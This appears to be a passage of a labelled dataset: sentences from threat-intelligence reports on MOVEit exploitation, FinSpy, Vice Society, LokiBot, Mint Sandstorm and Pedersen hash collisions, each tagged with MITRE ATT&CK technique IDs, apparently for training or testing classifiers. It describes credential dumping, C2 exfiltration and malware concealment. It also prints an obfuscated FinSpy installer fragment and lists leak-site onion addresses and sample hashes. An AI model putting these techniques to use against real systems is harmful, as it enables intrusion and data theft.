campaign that delivers its payload which uses the OneNote application as a delivery mechanism.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Mandiant has observed wide exploitation of a zero-day vulnerability in the MOVEit Transfer secure managed file transfer software for subsequent data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Various samples with the name human2.aspx were uploaded to VirusTotal beginning on May 28, 2023.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "It then performs SQL queries to retrieve files, file size, folders, file owners, and institution name data.", "labels": ["T1083"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Figure 1: MOVEit user deletion command Delete FROM users WHERE RealName='Health Check Service' X-siLock-Step2 and X-siLock-Step3 Command Sequence If the value of header field X-siLock-Step1 is neither -1 or -2, the malware parses the values from header fields X-siLock-Step2 and X-siLock-Step3 and stores them in variables named fileid and folderid, respectively.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "However, we currently have insufficient evidence to determine if there is a relationship between UNC4857 and FIN11.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Implications Mandiant routinely observes threat actors with varying motivations targeting sensitive data.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "}IndicatorsLEMURLOOT SamplesMD5 SHA256 00c6bce35c40ce1601aa06c4e808c0f1 38e69f4a6d2e81f28ed2dc6df0daf31e73ea365bd2cfc90ebc31441404cca264 04b474e8db353d368e2d791ba5dee6d6 3a977446ed70b02864ef8cfa3135d8b134c93ef868a4cc0aa5d3c2a74545725b 11eadcf3f1bc9b0ed6994c3ede299ce8 b1c299a9fe6076f370178de7b808f36135df16c4e438ef6453a39565ff2ec272 317552cac7035e35f7bdfc2162dfd29c c77438e8657518221613fbce451c664a75f05beea2184a3ae67f30ea71d34f37 359a1141a79480555aa996fd6d9e4af1 702421bcee1785d93271d311f0203da34cc936317e299575b06503945a6ea1e0 44d8e68c7c4e04ed3adacb5a88450552 387cee566aedbafa8c114ed1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a 45685c190c91ebe0966e8a0aeca31280 4359aead416b1b2df8ad9e53c497806403a2253b7e13c03317fc08ad3b0b95bf 538d6e172d18d4cebeac211873779ba5 daaa102d82550f97642887514093c98ccd51735e025995c2cc14718330a856f4 67fca3e84490dfdddf72e9ba558b589a 6015fed13c5510bbb89b0a5302c8b95a5b811982ff6de9930725c4630ec4011d 7d5e5537c5346d764f067f66cca426ba 9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead 8cd6c75e6160b90de2a52c967b3d4846 c56bcb513248885673645ff1df44d3661a75cfacdce485535da898aa9ba320d4 8d88e451e39506ae258f3aa99da8db9a 0ea05169d111415903a1098110c34cdbbd390c23016cd4e179dd9ef507104495 911230b5dca1c43f6d22e65c66b0f6b1 d49cf23d83b2743c573ba383bf6f3c28da41ac5f745cde41ef8cd1344528c195 96d467fd9663cf2e5572f8529e54f13e 5b566de1aa4b2f79f579cdac6283b33e98fdc8c1cfa6211a787f8156848d67ff 9f3c306dabc3f349b343251f4443412c f0d85b65b9f6942c75271209138ab24a73da29a06bc6cc4faeddcb825058c09d a85299f78ab5dd05e7f0f11ecea165ea fe5f8388ccea7c548d587d1e2843921c038a9f4ddad3cb03f3aa8a45c29c6a2f b1bdad086567efd202babf56eac17e1d 9e89d9f045664996067a05610ea2b0ad4f7f502f73d84321fb07861348fdc24a b52e56bfc03878cc5cb9eae9d3896808 ea433739fb708f5d25c937925e499c8d2228bf245653ee89a6f3d26a5fd00b7a b69e23cd45c8ac71652737ef44e15a34 cf23ea0d63b4c4c348865cefd70c35727ea8c82ba86d56635e488d816e60ea45 bf7c1dd613101c0a95027249a5fcb759 2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5 c2db1091eb7bac28461877f736d86d83 348e435196dd795e1ec31169bd111c7ec964e5a6ab525a562b17f10de0ab031d d71a6b5ae3d89dc33cbbb6877e493d52 b9a0baf82feb08e42fa6ca53e9ec379e79fbe8362a7dac6150eb39c2d33d94ad ddd95f1c76a1d50b997b2e64274f386a a1269294254e958e0e58fc0fe887ebbc4201d5c266557f09c3f37542bd6d53d7 e9a5f0c7656329ced63d4c8742da51b4 48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a eea4d43f9e3700ebcd61405776eb249a d477ec94e522b8d741f46b2c00291da05c72d21c359244ccb1c211c12b635899 fbba113d1d121220fa43f90b3a20870a 3ab73ea9aebf271e5f3ed701286701d0be688bf7ad4fb276cb4fbe35c8af8409 AcknowledgementsBeyond the listed authors are dozens of consultants and analysts who have already been working to help our clients with cases related to exploitation of CVE-2023-34362.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "[T1105].", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[T1136.001] and tests for internet connectivity by pinging 8.8.8.8", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Note: By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account DefaultAccount", "labels": ["T1021.001", "T1078"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows DefaultAccount, also known as the Default System Managed Account (DSMA).", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "FinSpy, also known as FinFisher or Wingbird, is an infamous surveillance toolset.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Since that year, we observed a decreasing detection rate of FinSpy for Windows.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The decryption key is the EFI system partition GUID, which differs from one machine to another.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"} {"sentence": "The Trojan loader: Extracts the Trojan from resources and drops it under the name dll Decrypts the Trojan with a XOR-based cipher and unpacks it with aPLib Reflectively loads and launches the Trojan.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"} {"sentence": "User Mode Infection Overview This infection is by far the most complex.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Otherwise, it continues sending shellcodes.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "If all security checks pass, the server provides a component that we call the Post-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Metasploit stager launches it.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "On startup, it: Hooks the NtTerminateProcess and ExitProcess functions to make sure the Pre-Validator continues working if the backdoored application is closed.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "Makes an initial POST request to the C2 server.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "The nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used for malware analysis.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "2 Checks whether the current process needs to be impersonated (for example, if an unprivileged user runs the backdoored application as administrator).", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "17 Returns OSVERSIONINFOEXW and SYSTEM_INFO structures.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"} {"sentence": "directory.", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"} {"sentence": "20 Returns information about the operating system.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"} {"sentence": "FROM Win32_ComputerSystem WMI query) 28 Returns the list of connected PCI devices. 29 Returns names of shortcuts in the Desktop directory.", "labels": ["T1047", "T1083"], "doc_title": "FinSpy unseen findings"} {"sentence": "31 Returns the list of top-level and child window titles not owned by the current or parent process.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Once all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator Installer.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The file names are hardcoded in the dropper but are unique for each sample and appear to be randomly generated.", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"} {"sentence": "The Task Scheduler launches it at system startup through regsvr32.exe.", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"} {"sentence": "Sends back three strings in a TLV: 243a, 201a and 201b (‘virtual’ data file names) 0x8072A0 Upload a prepared file with a specified name to the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "If the prepared file name is: 201a, obtains the list of processes and sends it to the C2 server. 201b, gets the list of recent files and sends it to the C2 server. 243a, takes a screenshot and uploads it to the C2 server. 0x8054A0, 0x805BA0, 0x8056A0, 0x805DA0, 0x8057A0, 0x805EA0", "labels": ["T1041", "T1057", "T1083", "T1105", "T1113"], "doc_title": "FinSpy unseen findings"} {"sentence": "Afterwards, it drops the following files to it: File name Description <4 random hexadecimal characters>.cab The setup configuration file, which is encrypted with RC4 (key: the name of the working directory).", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "The Initial Loader The Initial Loader is a DLL that is launched on every startup by rundll32.exe (the Trojan adds it to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run key, the value name is unique for each sample).", "labels": ["T1218.011", "T1547.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "The size of the Initial Loader exceeds 5 MB.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It is obfuscated with a protector resembling the open source OLLVM obfuscator.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "Unlike the Windows version that features numerous installers, the macOS version has only one installer type.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It sets hooks on functions that load application bundles.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Once the hooks are placed, the Trojan Loader launches the Orchestrator (/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg).", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Orchestrator (as well as plugins) are packed with aPLib and encrypted with AES.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "It has the same components as in the macOS version (Initial Loader, Trojan Loader, Orchestrator and plugins).", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "-N1 -An", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This script determines the victim machine architecture.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Depending on it, the script extracts either the 32-bit or the 64-bit second stage installer to the /tmp/udev2 file and launches it.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The name of the Trojan Loader file is one of the following: cpuset kthreadd ksnapd udevd dbus-daemon atd crond hald", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "\"$CS_FONT\" ]; then # Load fonts by id CS_FONT_RID=\"\" CS_FONT_ID=\"\" CS_FONT_COL=\"6364\" CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` if [ ! -n", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It starts the Orchestrator and conceals memory areas that contain the Trojan components’ code and data.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "Similar to a network worm which infects machines in the local network, the ProcessWorm is injected into all running processes.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"} {"sentence": "The key may vary from one sample to another.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "The hiding functionality Before transferring execution to the Orchestrator’s entry point, the Hider activates its concealing functionality.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Hider also protects plugins loaded by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Reads the Orchestrator configuration and loads installed plugins.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This trick is designed to make it more difficult to detect this component in memory and conduct analysis of its dumps.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Once initialized, the Orchestrator launches its following components, which we will detail below: The application watcher that looks for specific processes and notifies the C2 server when they are started or stopped The ProcessWorm injector that injects the ProcessWorm into processes that are not infected with this component The recording manager thread that controls data to be exfiltrated to the C2 server The C2 server communicator thread.", "labels": ["T1041", "T1055", "T1057"], "doc_title": "FinSpy unseen findings"} {"sentence": "The application watcher The application watcher regularly examines all the processes on the system, looking for applications specified in the Orchestrator configuration.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"} {"sentence": "The ProcessWorm injector The ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be accessed by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "In particular, it contacts the C2 server, sends heartbeats messages and receives commands.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The thread dispatches received commands to plugins and sends their execution results back to the server.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This command unloads the specified plugin and removes it from the VFS.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This is done to make communications look legitimate.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "For example, virtual files can be created or opened via the hooked CreateFileW API.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "Its main purpose is to extract specific information about running processes and send it to the Orchestrator or the plugins.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"} {"sentence": "Instead, IAT entries point to buffers of randomly generated junk code.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "To do that, it places a hook on the CreateProcessInternalW API function.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "It can conceal the malware’s working directory, services, registry keys, C2 server addresses, as well as filter out event logs related to the malicious activity.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "The macOS and Linux Orchestrator The macOS/Linux orchestrator is a simplified version of the Windows orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Create file listing recordings CommandShell (0x04) Create remote shell sessions TaskScheduler (0x05) Create different types of recordings (file listings, microphone, screen, webcam) at a specified time by dispatching commands to appropriate plugins MicRecorder (0x10) Livestream the victim’s microphone or capture its recordings.", "labels": ["T1083", "T1113"], "doc_title": "FinSpy unseen findings"} {"sentence": "Monitor available Wi-Fi networks RemovableRecorder (0x29) Record files on inserted removable media CryptoKeyRecorder (0x30) Capture encryption keys: SSL keys, S/MIME certificates, GPG/PGP keychains along with their passphrases.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Palo Alto Networks customers receive protections against ransomware used by Vice Society from Cortex XDR, as well as from the WildFire cloud-delivered security service for the Next-Generation Firewall.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society activity timeline (education-specific leak site victim data).Study of Vice Society’s Victims Vice Society is notorious for targeting the education sector – K-12 and higher education institutions in particular (as referenced in the recent CISA Advisory).", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Common targets are small- to medium-size businesses, with no geographical focus apparent at this time.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Rather, as noted in a report by SOCRadar, Vice Society focuses on targets of opportunity.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "More than 90 of the total published leak site infections occurred in the year 2022 alone.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "42 Incident Response Data on Vice Society Since Vice Society’s inception in 2021, Unit 42 has performed incident response (IR) engagements with clients who have been impacted by Vice Society.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society Technical Details Leak Site Synopsis Over the past year, Vice Society has operated sites on the Tor network using the following .onion address:vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion On Oct. 20, the primary .onion address became inactive, while the following site mirror was still active: ssq4zimieeanazkzc5ld4v5hdibi2nzwzdibfh5n5w4pw5mcik76lzyd[.]onion Recently, the header for the group’s blog site bears a striking resemblance to the logo of a popular video game titled “Grand Theft Auto: Vice City” (shown in Figure 8).", "labels": ["T1090"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society leak site including additional blog content (early November).The new “Our Partners” page takes the place of the main page from the previous incarnation of the leak site, including links to view leaked victim data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "During the extortion process, the attacker typically gives victims seven days to fulfill ransom demands, as shown in Figure 10. Figure 10.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "This ransomware family was first observed in December 2020, primarily targeting Windows systems.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society ransom note using HelloKitty ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "When the encryption process is complete, encrypted files are typically appended with an extension using the following format: .v-society..", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Zeppelin Usage As previously mentioned, the Vice Society group has also been known to adopt other ransomware families such as Zeppelin as a part of their infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Upon execution, the ransomware binary deletes itself and drops a ransom note on the victim machine’s desktop titled !!!", "labels": ["T1070.004"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": ".TXT.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Additional execution details include the following: Creating the HKCU\\Software\\Zeppelin registry key Appending an extension with the format A1A-A80-4CD to encrypted files Creating a file called README.txt.v-society Imphash: 8acb34bed3caa60cae3f08f75d53f727 Creating a temp file with a .Zeppelin extension using the following format - C:\\Users\\\\AppData\\Local\\Temp\\7D3ED7F1.Zeppelin Conclusion School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable to threat actors.", "labels": ["T1112"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "As we do with other ransomware groups, Unit 42 strongly advises organizations that have been impacted by Vice Society to avoid paying a ransom if possible, and to instead consult a trusted IR negotiation team for the best course of action.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Command Shell Batch files are used by Vice Society to deploy the ransomware via PsExec.", "labels": ["T1059.003"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "TA0005 Defense Evasion T1036", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "T1003.001 OS Credential Dumping: LSASS Memory Vice Society utilizes comsvcs.dll to dump credentials from Local Security Authority Subsystem Service.", "labels": ["T1003.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "TA0007 Discovery T1046 Network Service Discovery Vice Society has been seen using the recon tool called Advanced Port Scanner to identify running services and local network infrastructure.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "T1531 Account Access Removal Vice Society is known to change passwords of compromised victim accounts and privileged users, such as email and administrator accounts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Windows Print Spooler RCE Vulnerability (CVE-2021-34527 AKA PrintNightmare)Emerging Ransomware Groups: AvosLocker, Hive, HelloKitty, LockBit 2.0Threat", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "We will provide technical details on how the LokiBot sample uses obfuscation and a persistence mechanism to avoid detection.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "We will also describe the command and control (C2) channel communication.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "During the winter holiday season of 2022, Unit 42 researchers noticed that our machine learning-based C2 detection solution identified a particular HTTP payload as malicious.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "BEC entails gaining unauthorized access to email leading to financial fraud, and it is one of the most prevalent and costly forms of cyberattacks today.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "However, during the end of 2022, the number of occurrences peaked in the last three days of December.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "LokiBot Malware Analysis First Stage", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "The ISO file format is typically used to package the contents of an optical disc.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "ISO files are also attractive to attackers because, while specific software was required to open them in the past, Windows includes an ISO file opener that mounts and opens the file with a simple double-click.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Final Payload Obfuscation This LokiBot sample only uses one code obfuscation technique: API hashing.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Main stealer function loop.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "HTTP POST request (type 27 / data exfiltration).For a detailed list of each data field (offset and size) of the HTTP body (payload) please refer to the Appendix section.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Potential hidden files (e.g., %APPDATA%\\\\079D53\\\\3AFB91.hdb), which are taken from the mutex value (for directory name with a character range from 8-13 bytes and a file name with a character range from 13-18 bytes) Hash database (.hdb) Keylogger database (.kdb) Lock file (.lck) Malware EXE (.exe)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Exfiltrate PoS data (0x2a)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "BinaryID string 0xa 0x7 Username unicode 0x11 0x2 Username length 0x13 0x4 Username string 0x17 0x12 Hostname unicode 0x29 0x2 Hostname length 0x2b 0x4 Hostname string 0x2f 0x16 Domain hostname unicode 0x45 0x2 Domain hostname length 0x47 0x4 Domain hostname string 0x4b 0x16 Screen width 0x61 0x4", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Screen height 0x65 0x4 Local admin 0x69 0x2 Built-In admin 0x6b 0x2 64-bit OS 0x6d 0x2 OS major 0x6f 0x2 OS minor 0x71 0x2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "The Pedersen hash function has gained popularity due to its efficiency in the arithmetic circuits used in zero-knowledge proof systems.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Instead of being based on complex bit-fiddling operations like its standard counterparts (of the SHA or BLAKE families, for example), the Pedersen hash is an algebraic hash function that is simply computed as a linear combination of points on an elliptic curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "They are therefore fairly efficient to compute in zero-knowledge circuits since their computations relies on field arithmetic, contrarily to the more traditional hash functions that have no convenient mathematical structure.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Table of Contents Table of ContentsDefinitionSecurity Properties and RequirementsOptimizationsVulnerability 1: Non-unique x-coordinateVulnerability 2: Related GeneratorsVulnerability 3: Variable-length InputConclusionAcknowledgementsReferences Definition Let M be the message that we wish to hash (represented as a bit string of fixed length k ⋅ r), and let G1, G2, …, Gk be generators of the prime-order subgroup of our chosen elliptic curve group.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Gk Where the function ⟨⋅⟩, commonly referred to as the encoding function, converts a bit string into a scalar element (for our purpose, scalar can be interpreted as an integer less than the subgroup order).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "We use an elliptic curve with a prime group order, which is insecure by cryptographic standards due to the prime being small.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "We pick two generators of this group, G1 = E(1, 60) and G2 = E(2, 59).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "x + 42 over Finite Field of size 127 with order", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "GENERATORS =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "# Since the subgroup order is 139, adding this quantity (or multiples of it) # to the scalar factors of the linear combination computation performed by # the Pedersen hash function results in the same hash output, as can be seen below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "When implementations require this output to be a field element, they sometimes extract the first coordinate of the resulting curve point, which they use as the output of the hash function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Crucially, this process can also lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Finally, another important requirement of the Pedersen hash function is that the various generators have to be sampled uniformly at random.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Odd-looking sets of generators or opaqueness in the generation process could be indicative of a backdoor.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Windowed scalar multiplication leverages the simple observation that the multiplication of a curve point by a large scalar can be decomposed.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "This variant uses the same amount of doubling operation as the standard binary double-and-add algorithm, but it uses fewer point additions (which are generally slower than doubling).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Nothing forces alternative implementations of the Pedersen Hash to follow the exact same encoding rules, though in practice many do.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "By using our toy Pedersen hash example, given a message M whose hash is equal to H(M) = H(M1 M2) = ⟨M1⟩ ⋅ G1 + ⟨M2⟩ ⋅ G2, the colliding message M’ is computed such that H(M’)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "= colliding_message Note that this could also happen if using the “identity” encoding used initially in our toy example if we allowed the size of the message chunk range to exceed half the group order.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Vulnerability 2: Related Generators Recall that the original definition requires the generators to be sampled randomly, such that their discrete logarithm with respect to a common generator (or to each other) shall not be known.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "In practice, standards have been developed for that purpose, see hash-to-curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Consider the continuation of our example with the two generators G1 = E(1, 60) and G2 = E(2, 59), but with the additional knowledge that G2 = 35 ⋅ G1.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "[-29, -63] H = ZcashPedersenHash(message) assert 129 * G1 == H Since the encoding of our message using Zcash’s encoding function is [-29, -63], the hash of this message corresponds to the linear combination H(M) = −29 ⋅ G1 − 63 ⋅ G2 However, since we know that G2 = 35 ⋅ G1, we can rewrite the previous equation as H(M) = −29 ⋅ G1 − 63 ⋅ 35 ⋅ G1 = −2234 ⋅ G1 = 129 ⋅ G1 since -2234 is equal to 129 modulo the group order, 139.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "This padding step is sometimes explicit, for example as described in the Zcash protocol specification [Zcash], where the definition of PedersenHashToPoint on page 78 specifies the following padding scheme.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "# ======================================== # # Vulnerability 3 - Variable-length Input # # ======================================== # message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Given this subgroup’s capabilities, the profile of past targets, and the potential for cascading effects, Microsoft is publishing details on known tradecraft alongside corresponding detections and mitigations to help organizations protect against this and similar threats.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Mint Sandstorm is known to pursue targets in both the private and public sectors, including political dissidents, activist leaders, the Defense Industrial Base (DIB), journalists, and employees from multiple government agencies, including individuals protesting oppressive regimes in the Middle East.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Mint Sandstorm is a composite name used to describe several subgroups of activity with ties to the same organizational structure.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Today, Microsoft is reporting on a distinct Mint Sandstorm subgroup that specializes in hacking into and stealing sensitive information from high-value targets.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "As this activity is typically opportunistic and indiscriminate, Microsoft recommends that organizations regularly patch vulnerabilities with publicly available POCs, regardless 